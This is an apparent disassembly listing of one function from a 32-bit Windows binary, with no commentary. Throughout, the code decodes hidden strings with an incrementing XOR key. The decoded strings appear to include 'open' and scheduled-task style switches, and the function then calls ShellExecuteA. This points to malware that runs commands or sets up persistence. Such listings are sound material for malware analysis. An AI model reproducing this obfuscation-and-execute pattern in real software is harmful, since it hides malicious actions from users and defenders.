ja 0x417d35
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x190]
cmp ecx, 0x10
jb 0x41746b
mov edx, dword [ebp - 0x1a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417461
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d35
push ecx
push edx
call fcn.004dc6f1
add esp, 8
cmp dword [ebp - 0xc4], 0x10
lea edx, [ebp - 0xd8]
xorps xmm0, xmm0
mov dword [ebp - 0x194], 0
cmovae edx, dword [ebp - 0xd8]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x190], 0xf
mov ecx, edx
mov byte [ebp - 0x1a4], 0
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x1c], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4174c0
sub ecx, dword [ebp - 0x1c]
push ecx
push edx
mov ecx, esi
call fcn.00402810
xor cl, cl
call fcn.00415e10
movaps xmm0, xmmword [0x525e20]
add esp, 0x18
movups xmmword [ebp - 0xfa], xmm0
mov dword [ebp - 0xea], 0x14055955
xor ecx, ecx
mov dword [ebp - 0xe6], 0x3b323259
mov dword [ebp - 0xe2], 0xd42c3b35
mov word [ebp - 0xde], 0x100
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0xfa], al
inc ecx
cmp ecx, 0x1c
jb 0x417514
mov byte [ebp - 0xdd], 0
xor ecx, ecx
mov dword [ebp - 0x29], 0x1c484647
mov dword [ebp - 0x25], 0x494a07
mov byte [ebp - 0x21], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x29], al
inc ecx
cmp ecx, 7
jb 0x417540
mov byte [ebp - 0x21], 0
xor ecx, ecx
mov dword [ebp - 0x42], 0x1c484647
mov dword [ebp - 0x3e], 0x494a1b
mov byte [ebp - 0x3a], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x42], al
inc ecx
cmp ecx, 7
jb 0x417566
xorps xmm0, xmm0
mov byte [ebp - 0x3a], 0
lea ecx, [ebp - 0x388]
mov dword [ebp - 0x1ac], 0
movups xmmword [ebp - 0x1bc], xmm0
mov dword [ebp - 0x1a8], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4175a0
sub ecx, edx
lea eax, [ebp - 0x388]
push ecx
push eax
lea ecx, [ebp - 0x1bc]
call fcn.00402810
mov byte [ebp - 4], 0x1e
xor ecx, ecx
movaps xmm0, xmmword [0x525390]
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x118], 0x58115955
mov dword [ebp - 0x114], 0x5c2e2856
mov word [ebp - 0x110], 0x5f
mov byte [ebp - 0x10e], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x128], al
inc ecx
cmp ecx, 0x19
jb 0x4175f4
lea eax, [ebp - 0x1bc]
mov byte [ebp - 0x10e], 0
push eax
lea edx, [ebp - 0x128]
lea ecx, [ebp - 0x144]
call fcn.00469420
add esp, 4
lea ecx, [ebp - 0x42]
mov byte [ebp - 4], 0x1f
push ecx
mov ecx, eax
call fcn.004652c0
mov dword [ebp - 0x64], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x74], xmm0
mov dword [ebp - 0x60], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x74], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x64], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x20
lea edx, [ebp - 0x5c]
cmp dword [ebp - 0x48], 0x10
mov ecx, dword [ebp - 0x4c]
cmovae edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x60]
mov esi, dword [ebp - 0x64]
sub eax, esi
mov dword [ebp - 0x1c], ecx
push ecx
push edx
cmp ecx, eax
ja 0x4176b8
cmp dword [ebp - 0x60], 0x10
lea eax, [esi + ecx]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x74]
cmovae eax, dword [ebp - 0x74]
add esi, eax
push esi
call fcn.004de150
mov eax, dword [ebp - 0x1c]
add esp, 0xc
mov byte [eax + esi], 0
lea eax, [ebp - 0x74]
jmp 0x4176c8
mov byte [ebp - 0x1b], 0
push dword [ebp - 0x1b]
push ecx
lea ecx, [ebp - 0x74]
call fcn.0046b360
mov dword [ebp - 0x254], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x264], xmm0
mov dword [ebp - 0x250], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x264], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x254], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x29]
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x264]
call fcn.004652c0
mov dword [ebp - 0x7c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x8c], xmm0
mov dword [ebp - 0x78], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x8c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x7c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x15c]
cmp dword [ebp - 0x148], 0x10
mov edx, dword [ebp - 0x7c]
cmovae ecx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x78]
sub eax, edx
mov dword [ebp - 0x1c], edx
push edi
push ecx
cmp edi, eax
ja 0x4177bc
cmp dword [ebp - 0x78], 0x10
lea esi, [ebp - 0x8c]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0x8c]
mov dword [ebp - 0x7c], eax
lea eax, [esi + edx]
push eax
call fcn.004de150
mov ecx, dword [ebp - 0x1c]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x8c]
jmp 0x4177cf
mov byte [ebp - 0x1b], 0
lea ecx, [ebp - 0x8c]
push dword [ebp - 0x1b]
push edi
call fcn.0046b360
mov dword [ebp - 0x23c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x24c], xmm0
mov dword [ebp - 0x238], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x24c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x23c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xfa]
mov byte [ebp - 4], 0x23
push eax
lea ecx, [ebp - 0x24c]
call fcn.004652c0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1a4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x194], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x238]
cmp ecx, 0x10
jb 0x417891
mov edx, dword [ebp - 0x24c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417887
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d3a
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x238], 0xf
mov byte [ebp - 0x24c], 0
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x78]
cmp ecx, 0x10
jb 0x4178e7
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4178dd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d3a
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x250]
cmp ecx, 0x10
jb 0x41793a
mov edx, dword [ebp - 0x264]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417930
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d3a
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0xf
mov byte [ebp - 0x264], 0
mov byte [ebp - 4], 0x28
mov ecx, dword [ebp - 0x60]
cmp ecx, 0x10
jb 0x41798d
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417983
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d3a
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], 0
mov byte [ebp - 4], 0x29
mov ecx, dword [ebp - 0x130]
cmp ecx, 0x10
jb 0x4179dd
mov edx, dword [ebp - 0x144]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4179d3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d3a
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], 0
mov byte [ebp - 4], 0x2a
mov ecx, dword [ebp - 0x1a8]
cmp ecx, 0x10
jb 0x417a36
mov edx, dword [ebp - 0x1bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417a2c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d3a
push ecx
push edx
call fcn.004dc6f1
add esp, 8
cmp dword [ebp - 0x190], 0x10
lea edx, [ebp - 0x1a4]
xorps xmm0, xmm0
mov dword [ebp - 0x1ac], 0
cmovae edx, dword [ebp - 0x1a4]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x1a8], 0xf
mov ecx, edx
mov byte [ebp - 0x1bc], 0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
lea edi, [ecx + 1]
mov dword [esi + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417a83
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.00402810
xor cl, cl
call fcn.00415e10
mov byte [ebp - 4], 0x1d
add esp, 0x18
mov ecx, dword [ebp - 0x190]
cmp ecx, 0x10
jb 0x417add
mov edx, dword [ebp - 0x1a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417ad3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d3f
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0xc4]
cmp ecx, 0x10
jb 0x417b1b
mov edx, dword [ebp - 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417b11
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d3f
push ecx
push edx
call fcn.004dc6f1
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x5c]
mov ecx, esp
push eax
call fcn.004655b0
call fcn.0040ba20
add esp, 0x18
test al, al
je 0x417b75
cmp dword [ebp - 0x48], 0x10
lea edx, [ebp - 0x5c]
mov dword [ebp - 0x1d], 0x602160a
cmovae edx, dword [ebp - 0x5c]
xor ecx, ecx
mov word [ebp - 0x19], 0x100
nop
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 4
jb 0x417b50
push 1
push 0
push 0
push edx
lea eax, [ebp - 0x1d]
mov byte [ebp - 0x18], 0
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 0x48]
cmp ecx, 0x10
jb 0x417ba9
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417b9f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d44
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebp - 0xa8]
cmp ecx, 0x10
jb 0x417be3
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417bd9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d49
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebp - 0x1c0]
cmp ecx, 0x10
jb 0x417c1d
mov edx, dword [ebp - 0x1d4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417c13
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d4e
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x1c4], 0
mov dword [ebp - 0x1c0], 0xf
mov byte [ebp - 0x1d4], 0
cmp eax, 0x10
jb 0x417c74
mov edx, dword [ebp - 0x15c]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x417c6a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d4e
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebp - 0x268]
cmp ecx, 0x10
jb 0x417cae
mov edx, dword [ebp - 0x27c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417ca4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d4e
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebp - 0x1d8]
cmp ecx, 0x10
jb 0x417ce4
mov edx, dword [ebp - 0x1ec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417cda
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d4e
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402040
call fcn.00402040
call fcn.00402040
push eax
call fcn.004db69b
call fcn.00402040
call fcn.004e1990
call fcn.004e1990
call fcn.004e1990
push eax
call fcn.004db69b
call fcn.004e1990
call fcn.00402040
call fcn.004e1990
call fcn.004e1990
call fcn.004e1990
call fcn.004e1990
call fcn.004e1990
call fcn.004e1990
call fcn.004e1990
int3